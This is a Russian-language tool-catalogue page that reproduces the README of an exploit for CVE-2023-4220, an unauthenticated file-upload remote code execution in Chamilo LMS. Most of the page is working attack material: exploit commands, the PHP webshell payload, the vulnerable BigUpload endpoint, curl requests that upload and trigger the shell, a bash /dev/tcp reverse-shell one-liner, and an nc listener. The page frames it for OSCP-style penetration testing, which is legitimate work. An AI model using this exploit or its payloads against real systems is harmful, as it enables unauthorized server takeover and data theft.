Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — Неаутентифицированная загрузка файла RCE в Chamilo LMS ≤ 1.11.24. Стиль OSCP и автоматический эксплойт. | Kitploit
Инструменты/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Неаутентифицированная загрузка файла RCE в Chamilo LMS ≤ 1.11.24. Стиль OSCP и автоматический эксплойт.

Репозиторий
125 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ChamiloLMS CVE-2023-4220 Exploit

Python-эксплойт для CVE-2023-4220 — неаутентифицированная уязвимость произвольной загрузки файлов, затрагивающая Chamilo LMS <= 1.11.24.

Уязвимость находится в компоненте BigUpload Chamilo. В уязвимых установках обработчик загрузки позволяет загружать PHP-файл без надлежащей проверки. Поскольку загруженные файлы сохраняются в веб-доступную директорию, загруженный PHP-файл можно напрямую запросить и использовать как веб-шелл, если включено выполнение PHP.

Этот репозиторий включает две версии эксплойта:

chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Оба скрипта загружают PHP-вебшелл, проверяют выполнение команд и позволяют выполнять команды через параметр GET cmd. Единственное практическое отличие — как обрабатывается --shell.

Версия auto сама запускает прослушиватель, инициирует обратный шелл и автоматически переключается в интерактивный сеанс.

Версия oscp инициирует полезную нагрузку обратного шелла, но не запускает прослушиватель. Перед запуском необходимо вручную запустить свой прослушиватель.


Установка

Клонируйте репозиторий:

git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Установите зависимости:

python3 -m pip install -r requirements.txt

Единственная внешняя зависимость — requests, поэтому её можно установить и вручную:

python3 -m pip install requests

Использование

Цель передаётся с помощью -u или --url:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Те же опции доступны в обоих скриптах:

-u, --url              Базовый URL цели
--check               Проверить, доступна ли директория файлов BigUpload
--upload              Загрузить веб-шелл и подтвердить выполнение команд
--cmd CMD             Выполнить одну команду через загруженный веб-шелл
--shell LHOST LPORT   Инициировать обратный шелл
--filename NAME       Использовать собственное имя файла для загруженного PHP-файла
--proxy PROXY         Направлять трафик через прокси, например Burp Suite
--timeout SECONDS     Установить тайм-аут HTTP
--verify-tls          Включить проверку сертификатов TLS
--cleanup             Попытаться удалить загруженный веб-шелл после выполнения

Автоматическая версия также включает:

--listen-timeout SEC  Время ожидания подключения обратного шелла

Базовые примеры

Проверьте, доступен ли ожидаемый путь BigUpload:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Загрузите PHP-вебшелл и подтвердите выполнение команд:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Выполните одну команду:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Используйте собственное имя файла:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Направьте трафик через Burp Suite:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Вышеуказанные примеры используют скрипт auto, но тот же синтаксис можно использовать с chamilo_cve_2023_4220_oscp.py.


Обратный шелл

Опция --shell существует в обоих скриптах, но ведёт себя по-разному в зависимости от используемой версии.

Автоматическая версия

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Эта версия запускает локальный прослушиватель на 10.10.14.3:4444, загружает веб-шелл, инициирует обратный шелл и автоматически открывает интерактивный сеанс.

При использовании этой версии не нужно запускать nc вручную.

Версия в стиле OSCP

Сначала вручную запустите свой прослушиватель:

sudo nc -nlvp 4444

Затем запустите эксплойт из другого терминала:

python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Эта версия только отправляет полезную нагрузку обратного шелла через загруженный веб-шелл. Соединение принимается вручную запущенным прослушивателем.

Команда обратного шелла, инициируемая обоими скриптами, эквивалентна:

bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Убедитесь, что значение LHOST достижимо из цели. В VPN-средах это обычно адрес вашего туннельного интерфейса:

ip -brief addr show tun0

Детали уязвимости

CVE-2023-4220 затрагивает Chamilo LMS версий до 1.11.24 включительно.

Уязвимый обработчик загрузки находится по адресу:

/main/inc/lib/javascript/bigupload/inc/bigUpload.php

Действие, используемое эксплойтом:

?action=post-unsupported

Загруженные файлы обычно доступны из:

/main/inc/lib/javascript/bigupload/files/

Эксплойт отправляет POST-запрос типа multipart/form-data, используя поле формы, ожидаемое BigUpload:

bigUploadFile

Загруженная PHP-полезная нагрузка — это небольшой обёртка команд:

<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Команды передаются через параметр GET cmd:

http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

Маркеры вокруг вывода команды используются для извлечения соответствующей части HTTP-ответа.


Ручной запрос

Загрузка, выполняемая скриптами, эквивалентна:

curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

После успешной загрузки выполнение команды можно проверить с помощью:

curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Примечания

--check только проверяет, доступна ли ожидаемая директория файлов BigUpload. Положительный результат не гарантирует, что цель уязвима.

Полная проверка требует загрузки PHP-полезной нагрузки и подтверждения выполнения команды с помощью --upload или --cmd.

Если загрузка работает, а выполнение команды не происходит, возможно, выполнение PHP отключено в директории загрузки, цель исправлена или серверное правило блокирует запрос.

Используйте --cleanup, если хотите, чтобы скрипт попытался удалить загруженный PHP-файл после выполнения.

Скачать инструмент